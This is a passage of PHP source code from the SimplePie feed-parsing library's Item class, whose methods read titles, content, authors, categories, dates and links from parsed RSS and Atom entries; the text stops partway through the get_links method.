 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages all item-related data
 *
 * Used by {@see \SimplePie\SimplePie::get_item()} and {@see \SimplePie\SimplePie::get_items()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_item_class()}
 *
 * @package \SimplePie\SimplePie
 * @subpackage API
 */
class Item implements RegistryAware
{
    /**
     * Parent feed
     *
     * @access private
     * @var \SimplePie\SimplePie
     */
    public $feed;

    /**
     * Raw data
     *
     * @access private
     * @var array
     */
    public $data = [];

    /**
     * Registry object
     *
     * @see set_registry
     * @var \SimplePie\Registry
     */
    protected $registry;

    /**
     * Create a new item object
     *
     * This is usually used by {@see \SimplePie\SimplePie::get_items} and
     * {@see \SimplePie\SimplePie::get_item}. Avoid creating this manually.
     *
     * @param \SimplePie\SimplePie $feed Parent feed
     * @param array $data Raw data
     */
    public function __construct($feed, $data)
    {
        $this->feed = $feed;
        $this->data = $data;
    }

    /**
     * Set the registry handler
     *
     * This is usually used by {@see \SimplePie\Registry::create}
     *
     * @since 1.3
     * @param \SimplePie\Registry $registry
     */
    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    /**
     * Get a string representation of the item
     *
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            unset($this->feed);
        }
    }

    /**
     * Get data for an item-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the item/entry tag.
     *
     * See {@see \SimplePie\SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_item_tags($namespace, $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    /**
     * Get the base URL value.
     * Uses `<xml:base>`, or item link, or feed base URL.
     *
     * @param array $element
     * @return string
     */
    public function get_base($element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        $link = $this->get_permalink();
        if ($link != null) {
            return $link;
        }
        return $this->feed->get_base($element);
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see \SimplePie\SimplePie::sanitize()
     * @param string $data Data to sanitize
     * @param int $type One of the \SimplePie\SimplePie::CONSTRUCT_* constants
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize($data, $type, $base = '')
    {
        return $this->feed->sanitize($data, $type, $base);
    }

    /**
     * Get the parent feed
     *
     * Note: this may not work as you think for multifeeds!
     *
     * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
     * @since 1.0
     * @return \SimplePie\SimplePie
     */
    public function get_feed()
    {
        return $this->feed;
    }

    /**
     * Get the unique identifier for the item
     *
     * This is usually used when writing code to check for new items in a feed.
     *
     * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
     * for RDF. If none of these are supplied (or `$hash` is true), creates an
     * MD5 hash based on the permalink, title and content.
     *
     * @since Beta 2
     * @param boolean $hash Should we force using a hash instead of the supplied ID?
     * @param string|false $fn User-supplied function to generate an hash
     * @return string|null
     */
    public function get_id($hash = false, $fn = 'md5')
    {
        if (!$hash) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif (isset($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'])) {
                return $this->sanitize($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
        }
        if ($fn === false) {
            return null;
        } elseif (!is_callable($fn)) {
            trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
            $fn = 'md5';
        }
        return call_user_func(
            $fn,
            $this->get_permalink().$this->get_title().$this->get_content()
        );
    }

    /**
     * Get the title of the item
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since Beta 2 (previously called `get_item_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if (!isset($this->data['title'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $this->data['title'] = null;
            }
        }
        return $this->data['title'];
    }

    /**
     * Get the content for the item
     *
     * Prefers summaries over full content , but will return full content if a
     * summary does not exist.
     *
     * To prefer full content instead, use {@see get_content}
     *
     * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
     * `<itunes:subtitle>`
     *
     * @since 0.8
     * @param boolean $description_only Should we avoid falling back to the content?
     * @return string|null
     */
    public function get_description($description_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'summary')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML))) {
            return $return;
        } elseif (!$description_only) {
            return $this->get_content(true);
        }

        return null;
    }

    /**
     * Get the content for the item
     *
     * Prefers full content over summaries, but will return a summary if full
     * content does not exist.
     *
     * To prefer summaries instead, use {@see get_description}
     *
     * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
     *
     * @since 1.0
     * @param boolean $content_only Should we avoid falling back to the description?
     * @return string|null
     */
    public function get_content($content_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'content')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_content_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'content')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (!$content_only) {
            return $this->get_description(true);
        }

        return null;
    }

    /**
     * Get the media:thumbnail of the item
     *
     * Uses `<media:thumbnail>`
     *
     *
     * @return array|null
     */
    public function get_thumbnail()
    {
        if (!isset($this->data['thumbnail'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                $thumbnail = $return[0]['attribs'][''];
                if (empty($thumbnail['url'])) {
                    $this->data['thumbnail'] = null;
                } else {
                    $thumbnail['url'] = $this->sanitize($thumbnail['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
                    $this->data['thumbnail'] = $thumbnail;
                }
            } else {
                $this->data['thumbnail'] = null;
            }
        }
        return $this->data['thumbnail'];
    }

    /**
     * Get a category for the item
     *
     * @since Beta 3 (previously called `get_categories()` since Beta 2)
     * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Category|null
     */
    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the item
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Beta 3
     * @return \SimplePie\Category[]|null List of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        $type = 'category';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, $type) as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, $type) as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null, $type]);
        }

        $type = 'subject';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the item
     *
     * @since Beta 2
     * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_author($key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get a contributor for the item
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_contributor($key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the item
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get all authors for the item
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since Beta 2
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'author')) {
            $authors[] = $this->registry->create(Author::class, [null, null, $this->sanitize($author[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) {
            return $authors;
        } elseif ($authors = $this->feed->get_authors()) {
            return $authors;
        }

        return null;
    }

    /**
     * Get the copyright info for the item
     *
     * Uses `<atom:rights>` or `<dc:rights>`
     *
     * @since 1.1
     * @return string
     */
    public function get_copyright()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item
     *
     * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
     * `<atom:modified>`, `<pubDate>` or `<dc:date>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @since Beta 2 (previously called `get_item_date` since 0.8)
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return int|string|null
     */
    public function get_date($date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['date'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'published')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'pubDate')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'issued')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'created')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'modified')) {
                $this->data['date']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['date']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']) ?: null;
            } else {
                $this->data['date'] = null;
            }
        }
        if ($this->data['date']) {
            $date_format = (string) $date_format;
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['date']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['date']['parsed'];

                default:
                    return date($date_format, $this->data['date']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the update date/time for the item
     *
     * Uses `<atom:updated>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return int|string|null
     */
    public function get_updated_date($date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['updated'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['updated']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['updated']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']) ?: null;
            } else {
                $this->data['updated'] = null;
            }
        }
        if ($this->data['updated']) {
            $date_format = (string) $date_format;
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['updated']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['updated']['parsed'];

                default:
                    return date($date_format, $this->data['updated']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the localized posting date/time for the item
     *
     * Returns the date formatted in the localized language. To display in
     * languages other than the server's default, you need to change the locale
     * with {@link http://php.net/setlocale setlocale()}. The available
     * localizations depend on which ones are installed on your web server.
     *
     * @since 1.0
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
     * @return int|string|null
     */
    public function get_local_date($date_format = '%c')
    {
        if (!$date_format) {
            return $this->sanitize($this->get_date(''), \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (($date = $this->get_date('U')) !== null && $date !== false) {
            return strftime($date_format, $date);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item (UTC time)
     *
     * @see get_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return int|string|null
     */
    public function get_gmdate($date_format = 'j F Y, g:i a')
    {
        $date = $this->get_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the update date/time for the item (UTC time)
     *
     * @see get_updated_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return int|string|null
     */
    public function get_updated_gmdate($date_format = 'j F Y, g:i a')
    {
        $date = $this->get_updated_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 0.8
     * @return string|null Permalink URL
     */
    public function get_permalink()
    {
        $link = $this->get_link();
        $enclosure = $this->get_enclosure(0);
        if ($link !== null) {
            return $link;
        } elseif ($enclosure !== null) {
            return $enclosure->get_link();
        }

        return null;
    }

    /**
     * Get a single link for the item
     *
     * @since Beta 3
     * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link($key = 0, $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if ($links && $links[$key] !== null) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get all links for the item
     *
     * Uses `<atom:link>`, `<link>` or `<guid>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array|null Links found for the item (strings)
     */
    public function get_links($rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
